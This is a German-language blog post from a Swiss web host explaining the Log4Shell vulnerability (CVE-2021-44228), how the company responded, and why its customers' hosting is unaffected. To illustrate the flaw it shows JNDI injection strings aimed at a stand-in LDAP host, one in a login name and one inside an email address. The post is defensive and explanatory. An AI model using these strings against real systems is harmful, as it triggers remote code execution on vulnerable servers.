Log4Shell – Sicherheitslücke sorgt Ende 2021 für Furore
Philipp Zeder
Kategorie:in
Internet & Recht
Veröffentlicht am 16. Dez. 2021
Aktualisiert am 3. Mai 2022
Du hast es bestimmt mitbekommen, zurzeit sorgt eine Sicherheitslücke für Furore im Netz. Konkret handelt es sich um eine Schwachstelle in einer vielgenutzten Bibliothek, die für das Protokollieren in Java-Applikationen genutzt wird. So viel vorweg: Dein Webhosting bei cyon ist davon nicht betroffen.
Was ist Log4j und was ist das Problem?
Log4j, die von der Sicherheitslücke betroffene Softwarebibliothek, wird in Java-Applikationen genutzt, um Ereignisse zu protokollieren (zu «loggen»). Da die in Java nativ eingebauten Logging-Möglichkeiten doch eher rudimentär sind, wird Log4j in ziemlich vielen Java-Projekten eingesetzt.
Die Sicherheitslücke, die unter der CVE-ID CVE-2021-44228 geführt wird, führt nun dazu, dass ein Angreifer beliebigen Code auf den Servern ausführen könnte. Ein typisches Szenario könnte beispielsweise so aussehen:
Stell dir eine in Java geschriebene Software vor, die eine Anmeldemaske mit Loginname und Passwort für Nutzerinnen und Nutzer bereitstellt. Fehlgeschlagene Anmeldeversuche schreibt die Software mit Hilfe von Log4j in ein Logfile. Meldet sich der Nutzer Oliver mit einem falschen Passwort an, würde Invalid login from user Oliver in die Log-Datei geschrieben werden. So weit, so normal und ungefährlich.
Nun besitzt Log4j aber ein Feature, das die zu loggenden Meldungen analysiert und dabei auch gewisse Funktionen ausführen kann. Bei Log4Shell lädt Log4j zusätzliche Informationen von einem LDAP-Server nach. Solange der Server, von dem die Informationen stammen, normale, gültige Informationen liefert, ist das auch kein Problem. Ganz anders jedoch, wenn der Server von einem Angreifer kontrolliert wird.
Wird nämlich anstatt Invalid login from user Oliver die Zeichenfolge Invalid login from user ${jndi:ldap://example.com/a} protokolliert, analysiert Log4j die Eingabe und erkennt richtigerweise, dass hinter ${jndi:ldap://example.com/a} ein LDAP-Server mit entsprechenden Informationen wartet. Im Fall eines Angriffs gehört der Server hinter example.com allerdings dem Angreifer und antwortet mit Java-Schadcode. Diesen nimmt Log4j entgegen und führt ihn aus. Das alleine ist schon ein grosses Problem.
Doch es kommt noch schlimmer. Der Server, auf dem Log4j mit Java läuft, muss nicht einmal zwingend öffentlich erreichbar sein. Ein weiteres Beispiel:
Du lässt mit deiner Java-Applikation Logfiles deines E-Mail-Server analysieren. Die Applikation ist nicht öffentlich und ausschliesslich über ein VPN erreichbar. Schafft es nun ein Angreifer, die oben erwähnte LDAP-Adresse in die Logfiles deines E-Mail-Servers zu bringen, würde Log4j wie erklärt die präparierte Adresse kontaktieren. Und damit wäre das Worst-Case-Szenario perfekt, denn test+(${jndi:ldap://example.com/a})@gmail.com ist, um wieder nur ein Beispiel zu nennen, eine valide E-Mail-Adresse. Ein E-Mail-Server würde diese Adresse normal verarbeiten und versuchen, eine E-Mail an diese Adresse zu versenden. Zwar würde der Versand am Ende zu einem Fehler führen, doch zu diesem Zeitpunkt ist die Adresse längst im Logfile gespeichert. Und sobald Log4j den Eintrag analysiert, würde der Schadcode vom entfernten LDAP-Server ausgeführt.
Ist cyon betroffen?
Die Sicherheitslücke wurde im Verlaufe des Freitags, 10.12.2021 einer breiteren Öffentlichkeit bekannt. Unser Security-Team hatte direkt nach dem Bekanntwerden der Lücke einen Plan aufgestellt, wie wir der Sicherheitslücke begegnen und bereits am Wochenende mit der Umsetzung der nötigen Massnahmen begonnen.
Dabei wurde als erstes die Frage geklärt, welche unserer Java-Software Log4j verwendet. Während wir Java auf unseren Hosting-Servern nicht einsetzen, haben wir einzelne, vor allem interne Dienste, die auf Java basieren. So zum Beispiel Jitsi, das die Basis für unsere kostenlosen Online-Meetings Meet bietet.
Wir haben dann alle diese Dienste analysiert und wo nötig sofort Updates vorgenommen. War ein Update nicht möglich, haben wir die entsprechende Konfiguration angepasst, damit die Sicherheitslücke nicht ausgenutzt werden kann. Anschliessend haben wir unsere Logs durchforstet. Ziel dieser Aktion: Wir wollten herausfinden, ob bereits Angriffsversuche stattgefunden hatten. Wir konnten vereinzelte Versuche finden, die jedoch nicht erfolgreich waren.
Sind ich oder mein Webhosting betroffen?
Wie oben erwähnt, setzen wir auf den Servern unserer Kundschaft kein Java ein und es können darauf auch keine Java-Applikationen betrieben werden. Daher ist dein Webhosting von der Lücke nicht betroffen.
Soll ich sonst etwas unternehmen?
Nutzt du Java-Software bei anderen Anbietern oder hast sonst Java-Applikationen im Einsatz solltest du dringend prüfen, ob die Applikation von der Lücke betroffen ist und wenn nötig Updates dafür einspielen. Auch wenn du Java-Software auf deinem Computer im Einsatz hast, solltest du dich dringend darum kümmern. Die Sicherheitslücke wird aktiv ausgenutzt und von Angreifern für die Verbreitung von Malware genutzt.
Wenn du dich weiter über das Thema informieren möchtest, ist der Blog vom Swiss Government Computer Emergency Response Team (GovCERT) eine gute Anlaufstelle.
Titelbild: Nahel Abdul Hadi/Unsplash